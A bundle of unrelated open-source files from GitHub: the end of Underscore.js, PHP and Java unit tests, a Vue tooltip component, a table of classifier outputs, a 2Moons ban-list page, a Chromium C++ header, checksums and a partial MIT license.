var args = [func];
push.apply(args, arguments);
return wrapper.apply(this, args);
};
};
// Returns a function that is the composition of a list of functions, each
// consuming the return value of the function that follows.
_.compose = function() {
var funcs = arguments;
return function() {
var args = arguments;
for (var i = funcs.length - 1; i >= 0; i--) {
args = [funcs[i].apply(this, args)];
}
return args[0];
};
};
// Returns a function that will only be executed after being called N times.
_.after = function(times, func) {
return function() {
if (--times < 1) {
return func.apply(this, arguments);
}
};
};
// Object Functions
// ----------------
// Retrieve the names of an object's properties.
// Delegates to **ECMAScript 5**'s native `Object.keys`
_.keys = nativeKeys || function(obj) {
if (obj !== Object(obj)) throw new TypeError('Invalid object');
var keys = [];
for (var key in obj) if (_.has(obj, key)) keys.push(key);
return keys;
};
// Retrieve the values of an object's properties.
_.values = function(obj) {
var keys = _.keys(obj);
var length = keys.length;
var values = new Array(length);
for (var i = 0; i < length; i++) {
values[i] = obj[keys[i]];
}
return values;
};
// Convert an object into a list of `[key, value]` pairs.
_.pairs = function(obj) {
var keys = _.keys(obj);
var length = keys.length;
var pairs = new Array(length);
for (var i = 0; i < length; i++) {
pairs[i] = [keys[i], obj[keys[i]]];
}
return pairs;
};
// Invert the keys and values of an object. The values must be serializable.
_.invert = function(obj) {
var result = {};
var keys = _.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
result[obj[keys[i]]] = keys[i];
}
return result;
};
// Return a sorted list of the function names available on the object.
// Aliased as `methods`
_.functions = _.methods = function(obj) {
var names = [];
for (var key in obj) {
if (_.isFunction(obj[key])) names.push(key);
}
return names.sort();
};
// Extend a given object with all the properties in passed-in object(s).
_.extend = function(obj) {
each(slice.call(arguments, 1), function(source) {
if (source) {
for (var prop in source) {
obj[prop] = source[prop];
}
}
});
return obj;
};
// Return a copy of the object only containing the whitelisted properties.
_.pick = function(obj) {
var copy = {};
var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
each(keys, function(key) {
if (key in obj) copy[key] = obj[key];
});
return copy;
};
// Return a copy of the object without the blacklisted properties.
_.omit = function(obj) {
var copy = {};
var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
for (var key in obj) {
if (!_.contains(keys, key)) copy[key] = obj[key];
}
return copy;
};
// Fill in a given object with default properties.
_.defaults = function(obj) {
each(slice.call(arguments, 1), function(source) {
if (source) {
for (var prop in source) {
if (obj[prop] === void 0) obj[prop] = source[prop];
}
}
});
return obj;
};
// Create a (shallow-cloned) duplicate of an object.
_.clone = function(obj) {
if (!_.isObject(obj)) return obj;
return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
};
// Invokes interceptor with the obj, and then returns obj.
// The primary purpose of this method is to "tap into" a method chain, in
// order to perform operations on intermediate results within the chain.
_.tap = function(obj, interceptor) {
interceptor(obj);
return obj;
};
// Internal recursive comparison function for `isEqual`.
var eq = function(a, b, aStack, bStack) {
// Identical objects are equal. `0 === -0`, but they aren't identical.
// See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal).
if (a === b) return a !== 0 || 1 / a == 1 / b;
// A strict comparison is necessary because `null == undefined`.
if (a == null || b == null) return a === b;
// Unwrap any wrapped objects.
if (a instanceof _) a = a._wrapped;
if (b instanceof _) b = b._wrapped;
// Compare `[[Class]]` names.
var className = toString.call(a);
if (className != toString.call(b)) return false;
switch (className) {
// Strings, numbers, dates, and booleans are compared by value.
case '[object String]':
// Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
// equivalent to `new String("5")`.
return a == String(b);
case '[object Number]':
// `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
// other numeric values.
return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
case '[object Date]':
case '[object Boolean]':
// Coerce dates and booleans to numeric primitive values. Dates are compared by their
// millisecond representations. Note that invalid dates with millisecond representations
// of `NaN` are not equivalent.
return +a == +b;
// RegExps are compared by their source patterns and flags.
case '[object RegExp]':
return a.source == b.source &&
a.global == b.global &&
a.multiline == b.multiline &&
a.ignoreCase == b.ignoreCase;
}
if (typeof a != 'object' || typeof b != 'object') return false;
// Assume equality for cyclic structures. The algorithm for detecting cyclic
// structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
var length = aStack.length;
while (length--) {
// Linear search. Performance is inversely proportional to the number of
// unique nested structures.
if (aStack[length] == a) return bStack[length] == b;
}
// Objects with different constructors are not equivalent, but `Object`s
// from different frames are.
var aCtor = a.constructor, bCtor = b.constructor;
if (aCtor !== bCtor && !(_.isFunction(aCtor) && (aCtor instanceof aCtor) &&
_.isFunction(bCtor) && (bCtor instanceof bCtor))) {
return false;
}
// Add the first object to the stack of traversed objects.
aStack.push(a);
bStack.push(b);
var size = 0, result = true;
// Recursively compare objects and arrays.
if (className == '[object Array]') {
// Compare array lengths to determine if a deep comparison is necessary.
size = a.length;
result = size == b.length;
if (result) {
// Deep compare the contents, ignoring non-numeric properties.
while (size--) {
if (!(result = eq(a[size], b[size], aStack, bStack))) break;
}
}
} else {
// Deep compare objects.
for (var key in a) {
if (_.has(a, key)) {
// Count the expected number of properties.
size++;
// Deep compare each member.
if (!(result = _.has(b, key) && eq(a[key], b[key], aStack, bStack))) break;
}
}
// Ensure that both objects contain the same number of properties.
if (result) {
for (key in b) {
if (_.has(b, key) && !(size--)) break;
}
result = !size;
}
}
// Remove the first object from the stack of traversed objects.
aStack.pop();
bStack.pop();
return result;
};
// Perform a deep comparison to check if two objects are equal.
_.isEqual = function(a, b) {
return eq(a, b, [], []);
};
// Is a given array, string, or object empty?
// An "empty" object has no enumerable own-properties.
_.isEmpty = function(obj) {
if (obj == null) return true;
if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
for (var key in obj) if (_.has(obj, key)) return false;
return true;
};
// Is a given value a DOM element?
_.isElement = function(obj) {
return !!(obj && obj.nodeType === 1);
};
// Is a given value an array?
// Delegates to ECMA5's native Array.isArray
_.isArray = nativeIsArray || function(obj) {
return toString.call(obj) == '[object Array]';
};
// Is a given variable an object?
_.isObject = function(obj) {
return obj === Object(obj);
};
// Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp.
each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp'], function(name) {
_['is' + name] = function(obj) {
return toString.call(obj) == '[object ' + name + ']';
};
});
// Define a fallback version of the method in browsers (ahem, IE), where
// there isn't any inspectable "Arguments" type.
if (!_.isArguments(arguments)) {
_.isArguments = function(obj) {
return !!(obj && _.has(obj, 'callee'));
};
}
// Optimize `isFunction` if appropriate.
if (typeof (/./) !== 'function') {
_.isFunction = function(obj) {
return typeof obj === 'function';
};
}
// Is a given object a finite number?
_.isFinite = function(obj) {
return isFinite(obj) && !isNaN(parseFloat(obj));
};
// Is the given value `NaN`? (NaN is the only number which does not equal itself).
_.isNaN = function(obj) {
return _.isNumber(obj) && obj != +obj;
};
// Is a given value a boolean?
_.isBoolean = function(obj) {
return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
};
// Is a given value equal to null?
_.isNull = function(obj) {
return obj === null;
};
// Is a given variable undefined?
_.isUndefined = function(obj) {
return obj === void 0;
};
// Shortcut function for checking if an object has a given property directly
// on itself (in other words, not on a prototype).
_.has = function(obj, key) {
return hasOwnProperty.call(obj, key);
};
// Utility Functions
// -----------------
// Run Underscore.js in *noConflict* mode, returning the `_` variable to its
// previous owner. Returns a reference to the Underscore object.
_.noConflict = function() {
root._ = previousUnderscore;
return this;
};
// Keep the identity function around for default iterators.
_.identity = function(value) {
return value;
};
// Run a function **n** times.
_.times = function(n, iterator, context) {
var accum = Array(Math.max(0, n));
for (var i = 0; i < n; i++) accum[i] = iterator.call(context, i);
return accum;
};
// Return a random integer between min and max (inclusive).
_.random = function(min, max) {
if (max == null) {
max = min;
min = 0;
}
return min + Math.floor(Math.random() * (max - min + 1));
};
// List of HTML entities for escaping.
var entityMap = {
escape: {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
};
entityMap.unescape = _.invert(entityMap.escape);
// Regexes containing the keys and values listed immediately above.
var entityRegexes = {
escape: new RegExp('[' + _.keys(entityMap.escape).join('') + ']', 'g'),
unescape: new RegExp('(' + _.keys(entityMap.unescape).join('|') + ')', 'g')
};
// Functions for escaping and unescaping strings to/from HTML interpolation.
_.each(['escape', 'unescape'], function(method) {
_[method] = function(string) {
if (string == null) return '';
return ('' + string).replace(entityRegexes[method], function(match) {
return entityMap[method][match];
});
};
});
// If the value of the named `property` is a function then invoke it with the
// `object` as context; otherwise, return it.
_.result = function(object, property) {
if (object == null) return void 0;
var value = object[property];
return _.isFunction(value) ? value.call(object) : value;
};
// Add your own custom functions to the Underscore object.
_.mixin = function(obj) {
each(_.functions(obj), function(name) {
var func = _[name] = obj[name];
_.prototype[name] = function() {
var args = [this._wrapped];
push.apply(args, arguments);
return result.call(this, func.apply(_, args));
};
});
};
// Generate a unique integer id (unique within the entire client session).
// Useful for temporary DOM ids.
var idCounter = 0;
_.uniqueId = function(prefix) {
var id = ++idCounter + '';
return prefix ? prefix + id : id;
};
// By default, Underscore uses ERB-style template delimiters, change the
// following template settings to use alternative delimiters.
_.templateSettings = {
evaluate : /<%([\s\S]+?)%>/g,
interpolate : /<%=([\s\S]+?)%>/g,
escape : /<%-([\s\S]+?)%>/g
};
// When customizing `templateSettings`, if you don't want to define an
// interpolation, evaluation or escaping regex, we need one that is
// guaranteed not to match.
var noMatch = /(.)^/;
// Certain characters need to be escaped so that they can be put into a
// string literal.
var escapes = {
"'": "'",
'\\': '\\',
'\r': 'r',
'\n': 'n',
'\t': 't',
'\u2028': 'u2028',
'\u2029': 'u2029'
};
var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
// JavaScript micro-templating, similar to John Resig's implementation.
// Underscore templating handles arbitrary delimiters, preserves whitespace,
// and correctly escapes quotes within interpolated code.
_.template = function(text, data, settings) {
var render;
settings = _.defaults({}, settings, _.templateSettings);
// Combine delimiters into one regular expression via alternation.
var matcher = new RegExp([
(settings.escape || noMatch).source,
(settings.interpolate || noMatch).source,
(settings.evaluate || noMatch).source
].join('|') + '|$', 'g');
// Compile the template source, escaping string literals appropriately.
var index = 0;
var source = "__p+='";
text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
source += text.slice(index, offset)
.replace(escaper, function(match) { return '\\' + escapes[match]; });
if (escape) {
source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
}
if (interpolate) {
source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
}
if (evaluate) {
source += "';\n" + evaluate + "\n__p+='";
}
index = offset + match.length;
return match;
});
source += "';\n";
// If a variable is not specified, place data values in local scope.
if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
source + "return __p;\n";
try {
render = new Function(settings.variable || 'obj', '_', source);
} catch (e) {
e.source = source;
throw e;
}
if (data) return render(data, _);
var template = function(data) {
return render.call(this, data, _);
};
// Provide the compiled function source as a convenience for precompilation.
template.source = 'function(' + (settings.variable || 'obj') + '){\n' + source + '}';
return template;
};
// Add a "chain" function, which will delegate to the wrapper.
_.chain = function(obj) {
return _(obj).chain();
};
// OOP
// ---------------
// If Underscore is called as a function, it returns a wrapped object that
// can be used OO-style. This wrapper holds altered versions of all the
// underscore functions. Wrapped objects may be chained.
// Helper function to continue chaining intermediate results.
var result = function(obj) {
return this._chain ? _(obj).chain() : obj;
};
// Add all of the Underscore functions to the wrapper object.
_.mixin(_);
// Add all mutator Array functions to the wrapper.
each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
var method = ArrayProto[name];
_.prototype[name] = function() {
var obj = this._wrapped;
method.apply(obj, arguments);
if ((name == 'shift' || name == 'splice') && obj.length === 0) delete obj[0];
return result.call(this, obj);
};
});
// Add all accessor Array functions to the wrapper.
each(['concat', 'join', 'slice'], function(name) {
var method = ArrayProto[name];
_.prototype[name] = function() {
return result.call(this, method.apply(this._wrapped, arguments));
};
});
_.extend(_.prototype, {
// Start chaining a wrapped Underscore object.
chain: function() {
this._chain = true;
return this;
},
// Extracts the result from a wrapped and chained object.
value: function() {
return this._wrapped;
}
});
}).call(this);
| {
"pile_set_name": "Github"
} |
<?php
namespace Cron\Tests;
use Cron\MinutesField;
use DateTime;
use PHPUnit\Framework\TestCase;
/**
* @author Michael Dowling <[email protected]>
*/
class MinutesFieldTest extends TestCase
{
/**
* @covers \Cron\MinutesField::validate
*/
public function testValidatesField()
{
$f = new MinutesField();
$this->assertTrue($f->validate('1'));
$this->assertTrue($f->validate('*'));
$this->assertFalse($f->validate('*/3,1,1-12'));
}
/**
* @covers \Cron\MinutesField::increment
*/
public function testIncrementsDate()
{
$d = new DateTime('2011-03-15 11:15:00');
$f = new MinutesField();
$f->increment($d);
$this->assertSame('2011-03-15 11:16:00', $d->format('Y-m-d H:i:s'));
$f->increment($d, true);
$this->assertSame('2011-03-15 11:15:00', $d->format('Y-m-d H:i:s'));
}
/**
* Various bad syntaxes that are reported to work, but shouldn't.
*
* @author Chris Tankersley
* @since 2017-08-18
*/
public function testBadSyntaxesShouldNotValidate()
{
$f = new MinutesField();
$this->assertFalse($f->validate('*-1'));
$this->assertFalse($f->validate('1-2-3'));
$this->assertFalse($f->validate('-1'));
}
}
| {
"pile_set_name": "Github"
} |
<template>
<div class="ui-tooltip">
<slot></slot>
</div>
</template>
<script>
import tippy from 'tippy.js/esm';
import elementRef from './helpers/element-ref';
export default {
name: 'ui-tooltip',
props: {
animation: {
type: String,
default: 'fade' // 'fade', 'shift-away', or 'none'
},
appendToBody: {
type: Boolean,
default: true
},
openDelay: {
type: Number,
default: 0
},
openOn: {
type: String,
default: 'mouseenter focus' // 'mouseenter', 'focus', 'click', or 'manual', plus 'hover' (compat)
},
position: {
type: String,
default: 'bottom' // 'top', 'right', 'bottom', 'left', 'top-{start|end}', 'right-{start|end}', etc.
},
trigger: {
validator(value) {
return elementRef.validate(
value,
'[UiTooltip]: Invalid prop: "trigger". Expected Element, VueComponent or CSS selector string.'
);
}
},
zIndex: Number
},
mounted() {
this.triggerEl = elementRef.resolve(this.trigger, this.$el.parentElement);
if (!this.triggerEl) {
console.error('[UiTooltip]: Trigger element not found.');
return;
}
const options = {
// `animateFill: true` makes the backdrop animate, making the fade look like a shift-away
animateFill: this.animation !== 'fade',
// Use 'fade' when animation is 'none', as 'none' it's not a valid Tippy.js option.
// The effect of no transition is achieved by `duration: 0` below.
animation: this.animation === 'none' ? 'fade' : this.animation,
arrow: false,
content: this.$el,
delay: [this.openDelay, 0],
distance: 4,
duration: this.animation === 'none' ? 0 : [250, 200],
ignoreAttributes: true,
lazy: true,
multiple: true,
placement: this.position,
theme: 'ui-tooltip',
trigger: this.openOn.replace('hover', 'mouseenter'),
zIndex: this.zIndex,
popperOptions: {
modifiers: {
computeStyle: {
// Disable GPU acceleration to fix blurry text in popover on Windows (Chrome)
// https://github.com/twbs/bootstrap/issues/23590
gpuAcceleration: !(window.devicePixelRatio < 1.5 && /Win/.test(navigator.platform))
}
}
}
};
if (!this.appendToBody) {
options.appendTo = this.triggerEl.parentElement;
}
this.tip = tippy(this.triggerEl, options);
},
beforeDestroy() {
if (this.tip) {
this.tip.destroy();
this.tip = null;
}
}
};
</script>
<style lang="scss">
@import './styles/imports';
@import './styles/tippy/tippy';
.ui-tooltip-theme {
background-color: rgba($md-grey-900, 0.9);
border-radius: $ui-default-border-radius;
color: white;
font-size: rem(13px);
line-height: 1.4;
padding: 0.3rem rem(8px);
text-align: center;
.tippy-backdrop {
background-color: rgba($md-grey-900, 0.9);
}
}
</style>
| {
"pile_set_name": "Github"
} |
SampleId RawFormulaVal:Class=0 RawFormulaVal:Class=1 RawFormulaVal:Class=2 Label
0 -0.06185665309 -0.06045512998 0.1223117831 1
1 0.03352423432 -0.05357574355 0.02005150923 0
2 -0.04309147356 -0.07710487066 0.1201963442 2
3 -0.03830942011 -0.07000469804 0.1083141181 1
4 -0.07186225171 -0.07487319547 0.1467354472 1
5 -0.09924804462 -0.08799295422 0.1872409988 2
6 -0.0593886663 -0.06068178503 0.1200704513 2
7 -0.09508640309 -0.09580853631 0.1908949394 2
8 -0.08468420752 -0.08061503772 0.1652992452 2
9 -0.01644089773 -0.05815642359 0.07459732132 2
10 -0.0705057213 -0.06171408287 0.1322198042 2
11 -0.08099987524 -0.08042394721 0.1614238225 2
12 -0.1079525053 -0.09530351181 0.2032560171 2
13 -0.03850711671 -0.09190265603 0.1304097727 2
14 0.05227505659 -0.04700058092 -0.005274475662 2
15 -0.02527854135 -0.06733685433 0.09261539568 1
16 -0.09212920235 -0.07261566028 0.1647448626 2
17 -0.08330424995 -0.05356148491 0.1368657349 2
18 -0.09710784264 -0.09698127941 0.194089122 2
19 -0.01041505702 -0.03263134619 0.04304640321 0
20 -0.07161840485 -0.06129056675 0.1329089716 2
21 -0.04207587363 -0.07099335012 0.1130692237 2
22 -0.06363451549 -0.05488948114 0.1185239966 2
23 0.01601850201 -0.02575388714 0.009735385128 2
24 0.03667920419 -0.03124035524 -0.005438848949 1
25 -0.06734092478 -0.08007848627 0.1474194111 2
26 -0.1029073142 -0.09225990834 0.1951672225 2
27 -0.06908105495 -0.06315833525 0.1322393902 1
28 -0.04946598409 -0.06533458119 0.1148005653 2
29 -0.09504163412 -0.08514116743 0.1801828015 2
30 0.03020219278 -0.03044202502 0.0002398322318 0
31 -0.04624872016 -0.08016938191 0.1264181021 2
32 -0.1015879175 -0.1049156147 0.2065035323 2
33 -0.0786602857 -0.06068960437 0.1393498901 2
34 0.02504416904 -0.04201795863 0.01697378959 0
35 -0.1048935615 -0.1073002077 0.2121937692 2
36 -0.0001817035633 -0.02365216364 0.02383386721 2
37 -0.02943893188 -0.04322040958 0.07265934146 0
38 -0.07155293596 -0.07800558106 0.149558517 1
39 -0.07146585004 -0.06823993661 0.1397057867 2
40 -0.07244848069 -0.06223180712 0.1346802878 2
41 -0.0527888933 -0.07411932864 0.1269082219 2
42 -0.04851495096 -0.08321936856 0.1317343195 2
43 -0.06001281251 -0.02289964583 0.08291245834 2
44 -0.07099557352 -0.08204715204 0.1530427256 0
45 -0.07959437595 -0.1000525476 0.1796469235 2
46 -0.01506883048 -0.0640878792 0.07915670968 0
47 -0.1017591477 -0.09714891385 0.1989080616 2
48 -0.0498292401 -0.06021447375 0.1100437139 2
49 -0.05201756718 -0.0474749856 0.09949255278 0
50 -0.09970387395 -0.09529889056 0.1950027645 2
51 -0.08953690743 -0.0834410175 0.1729779249 2
52 -0.01232899537 -0.05836290345 0.07069189881 2
53 -0.0567051813 -0.07885717936 0.1355623607 2
54 0.02232129943 -0.02601949749 0.00369819806 0
55 0.04986764512 -0.03894279338 -0.01092485174 0
56 -0.07811904272 -0.06591682831 0.144035871 2
57 0.0594561814 -0.04165753191 -0.01779864949 0
58 -0.03936770019 -0.05572990487 0.09509760507 0
59 0.04629965039 -0.04764946119 0.0013498108 1
60 -0.04675728137 -0.07480411933 0.1215614007 1
61 -0.001667051208 -0.01331535384 0.01498240505 0
62 -0.0346696306 -0.06947826362 0.1041478942 2
63 -0.04413910189 -0.03003107426 0.07417017615 2
64 -0.1035536836 -0.1089740262 0.2125277098 2
65 -0.09993810308 -0.1102534323 0.2101915353 2
66 -0.09796841523 -0.1013332067 0.1993016219 2
67 -0.08878187125 -0.07315544896 0.1619373202 2
68 -0.028717608 -0.06713024825 0.09584785625 2
69 0.009925396969 -0.00390310292 -0.006022294049 0
70 -0.1005999151 -0.100517279 0.2011171941 2
71 -0.09099627967 -0.1066351048 0.1976313845 2
72 -0.07478754127 -0.06449866958 0.1392862109 2
73 -0.07978261688 -0.0810110232 0.1607936401 2
74 -0.06224136912 -0.07240614091 0.13464751 0
75 -0.1125692708 -0.09609395464 0.2086632254 2
76 -0.0386914775 -0.07675411486 0.1154455924 0
77 -0.06919925274 -0.08934191047 0.1585411632 2
78 -0.08449114669 -0.08694380812 0.1714349548 2
79 -0.00540005501 -0.06092234448 0.06632239949 2
80 -0.1110180901 -0.109341368 0.2203594581 2
81 0.01295479383 -0.06046182963 0.04750703581 0
82 -0.09056580148 -0.08530595274 0.1758717542 2
83 -0.03794725235 -0.06570675695 0.1036540093 2
84 -0.06960903797 -0.07993998183 0.1495490198 2
85 -0.09438242497 -0.09295617827 0.1873386032 2
86 0.01543164515 -0.03458928627 0.01915764112 2
87 -0.08979527477 -0.07482704158 0.1646223163 2
88 -0.09065073206 -0.06304621769 0.1536969497 2
89 -0.1029448732 -0.1073486071 0.2102934802 2
90 -0.08610540055 -0.09315930421 0.1792647048 2
91 0.02769066262 -0.03109123795 0.003400575329 0
92 -0.04626705749 -0.03764406667 0.08391112416 1
93 -0.07359825526 -0.08032487703 0.1539231323 1
94 0.03900312025 -0.01790895126 -0.02109416899 0
95 0.02137512758 -0.02713528966 0.00576016208 2
96 -0.1004125134 -0.09872411205 0.1991366254 2
97 -0.04796325186 -0.05242153777 0.1003847896 1
98 -0.09872509991 -0.0892257201 0.18795082 2
99 -0.08906432387 -0.0894998369 0.1785641608 2
100 -0.02744226962 -0.07712125793 0.1045635276 1
| {
"pile_set_name": "Github"
} |
package jetbrains.mps.editorTest;
/*Generated by MPS */
import jetbrains.mps.MPSLaunch;
import jetbrains.mps.lang.test.runtime.BaseTransformationTest;
import org.junit.ClassRule;
import jetbrains.mps.lang.test.runtime.TestParametersCache;
import org.junit.Test;
import jetbrains.mps.lang.test.runtime.BaseEditorTestBody;
import jetbrains.mps.lang.test.runtime.TransformationTest;
@MPSLaunch
public class DeleteClassifierClassExpression_Test extends BaseTransformationTest {
@ClassRule
public static final TestParametersCache ourParamCache = new TestParametersCache(DeleteClassifierClassExpression_Test.class, "${mps_home}", "r:914ee49a-537d-44b2-a5fb-bac87a54743d(jetbrains.mps.editorTest@tests)", false);
public DeleteClassifierClassExpression_Test() {
super(ourParamCache);
}
@Test
public void test_DeleteClassifierClassExpression() throws Throwable {
new TestBody(this).testMethod();
}
/*package*/ static class TestBody extends BaseEditorTestBody {
/*package*/ TestBody(TransformationTest owner) {
super(owner);
}
@Override
public void testMethodImpl() throws Exception {
initEditorComponent("7992311602000236812", "7992311602000236805");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
invokeAction("jetbrains.mps.ide.editor.actions.Backspace_Action");
}
}
}
| {
"pile_set_name": "Github"
} |
Reveal.addEventListener( 'ready', function() {
// Only one test for now, we're mainly ensuring that there
// are no execution errors when running PDF mode
test( 'Reveal.isReady', function() {
strictEqual( Reveal.isReady(), true, 'returns true' );
});
} );
Reveal.initialize({ pdf: true });
| {
"pile_set_name": "Github"
} |
<?php
/**
* 2Moons
* by Jan-Otto Kröpke 2009-2016
*
* For the full copyright and license information, please view the LICENSE
*
* @package 2Moons
* @author Jan-Otto Kröpke <[email protected]>
* @copyright 2009 Lucky
* @copyright 2016 Jan-Otto Kröpke <[email protected]>
* @licence MIT
* @version 1.8.0
* @link https://github.com/jkroepke/2Moons
*/
class ShowBanListPage extends AbstractLoginPage
{
public static $requireModule = MODULE_BANLIST;
function __construct()
{
parent::__construct();
}
function show()
{
global $LNG;
$db = Database::get();
$page = HTTP::_GP('side', 1);
$sql = "SELECT COUNT(*) as count FROM %%BANNED%% WHERE universe = :universe ORDER BY time DESC;";
$banCount = $db->selectSingle($sql, array(
':universe' => Universe::current(),
), 'count');
$maxPage = ceil($banCount / BANNED_USERS_PER_PAGE);
$page = max(1, min($page, $maxPage));
$sql = "SELECT * FROM %%BANNED%% WHERE universe = :universe ORDER BY time DESC LIMIT :offset, :limit;";
$banResult = $db->select($sql, array(
':universe' => Universe::current(),
':offset' => (($page - 1) * BANNED_USERS_PER_PAGE),
':limit' => BANNED_USERS_PER_PAGE
));
$banList = array();
foreach($banResult as $banRow)
{
$banList[] = array(
'player' => $banRow['who'],
'theme' => $banRow['theme'],
'from' => _date($LNG['php_tdformat'], $banRow['time'], Config::get()->timezone),
'to' => _date($LNG['php_tdformat'], $banRow['longer'], Config::get()->timezone),
'admin' => $banRow['author'],
'mail' => $banRow['email'],
'info' => sprintf($LNG['bn_writemail'], $banRow['author']),
);
}
$universeSelect = $this->getUniverseSelector();
$this->assign(array(
'universeSelect' => $universeSelect,
'banList' => $banList,
'banCount' => $banCount,
'page' => $page,
'maxPage' => $maxPage,
));
$this->display('page.banList.default.tpl');
}
} | {
"pile_set_name": "Github"
} |
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_DRIVE_CHROMEOS_DUMMY_FILE_SYSTEM_H_
#define COMPONENTS_DRIVE_CHROMEOS_DUMMY_FILE_SYSTEM_H_
#include <stdint.h>
#include "components/drive/chromeos/file_system_interface.h"
namespace drive {
// Dummy implementation of FileSystemInterface. All functions do nothing.
class DummyFileSystem : public FileSystemInterface {
public:
~DummyFileSystem() override = default;
void AddObserver(FileSystemObserver* observer) override {}
void RemoveObserver(FileSystemObserver* observer) override {}
void CheckForUpdates() override {}
void TransferFileFromLocalToRemote(
const base::FilePath& local_src_file_path,
const base::FilePath& remote_dest_file_path,
const FileOperationCallback& callback) override {}
void OpenFile(const base::FilePath& file_path,
OpenMode open_mode,
const std::string& mime_type,
const OpenFileCallback& callback) override {}
void Copy(const base::FilePath& src_file_path,
const base::FilePath& dest_file_path,
bool preserve_last_modified,
const FileOperationCallback& callback) override {}
void Move(const base::FilePath& src_file_path,
const base::FilePath& dest_file_path,
const FileOperationCallback& callback) override {}
void Remove(const base::FilePath& file_path,
bool is_recursive,
const FileOperationCallback& callback) override {}
void CreateDirectory(const base::FilePath& directory_path,
bool is_exclusive,
bool is_recursive,
const FileOperationCallback& callback) override {}
void CreateFile(const base::FilePath& file_path,
bool is_exclusive,
const std::string& mime_type,
const FileOperationCallback& callback) override {}
void TouchFile(const base::FilePath& file_path,
const base::Time& last_access_time,
const base::Time& last_modified_time,
const FileOperationCallback& callback) override {}
void TruncateFile(const base::FilePath& file_path,
int64_t length,
const FileOperationCallback& callback) override {}
void Pin(const base::FilePath& file_path,
const FileOperationCallback& callback) override {}
void Unpin(const base::FilePath& file_path,
const FileOperationCallback& callback) override {}
void GetFile(const base::FilePath& file_path,
const GetFileCallback& callback) override {}
void GetFileForSaving(const base::FilePath& file_path,
const GetFileCallback& callback) override {}
base::Closure GetFileContent(
const base::FilePath& file_path,
const GetFileContentInitializedCallback& initialized_callback,
const google_apis::GetContentCallback& get_content_callback,
const FileOperationCallback& completion_callback) override;
void GetResourceEntry(const base::FilePath& file_path,
const GetResourceEntryCallback& callback) override {}
void ReadDirectory(
const base::FilePath& file_path,
const ReadDirectoryEntriesCallback& entries_callback,
const FileOperationCallback& completion_callback) override {}
void Search(const std::string& search_query,
const GURL& next_link,
const SearchCallback& callback) override {}
void SearchMetadata(const std::string& query,
int options,
int at_most_num_matches,
MetadataSearchOrder order,
const SearchMetadataCallback& callback) override {}
void SearchByHashes(const std::set<std::string>& hashes,
const SearchByHashesCallback& callback) override {}
void GetAvailableSpace(const GetAvailableSpaceCallback& callback) override {}
void GetShareUrl(const base::FilePath& file_path,
const GURL& embed_origin,
const GetShareUrlCallback& callback) override {}
void GetMetadata(const GetFilesystemMetadataCallback& callback) override {}
void MarkCacheFileAsMounted(const base::FilePath& drive_file_path,
const MarkMountedCallback& callback) override {}
void MarkCacheFileAsUnmounted(
const base::FilePath& cache_file_path,
const FileOperationCallback& callback) override {}
void IsCacheFileMarkedAsMounted(const base::FilePath& drive_file_path,
const IsMountedCallback& callback) override {}
void AddPermission(const base::FilePath& drive_file_path,
const std::string& email,
google_apis::drive::PermissionRole role,
const FileOperationCallback& callback) override {}
void SetProperty(const base::FilePath& drive_file_path,
google_apis::drive::Property::Visibility visibility,
const std::string& key,
const std::string& value,
const FileOperationCallback& callback) override {}
void Reset(const FileOperationCallback& callback) override {}
void GetPathFromResourceId(const std::string& resource_id,
const GetFilePathCallback& callback) override {}
void FreeDiskSpaceIfNeededFor(
int64_t num_bytes,
const FreeDiskSpaceCallback& callback) override {}
void CalculateCacheSize(const CacheSizeCallback& callback) override {}
void CalculateEvictableCacheSize(
const CacheSizeCallback& callback) override {}
};
} // namespace drive
#endif // COMPONENTS_DRIVE_CHROMEOS_DUMMY_FILE_SYSTEM_H_
| {
"pile_set_name": "Github"
} |
# md5, sha256 from https://pypi.org/pypi/dominate/json
md5 27d3aa7e0d67902c505e248e705e5e2e dominate-2.4.0.tar.gz
sha256 a92474b4312bd8b4c1789792f3ec8c571cd8afa8e7502a2b1c64dd48cd67e59c dominate-2.4.0.tar.gz
# Locally computed sha256 checksums
sha256 9ccf26cfe845e0eb8bb58053e47366e7ab6b697ae010f7650978d4b71b7d1fc1 LICENSE.txt
| {
"pile_set_name": "Github"
} |
The MIT License (MIT)
Copyright (c) Sindre Sorhus <[email protected]> (sindresorhus.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
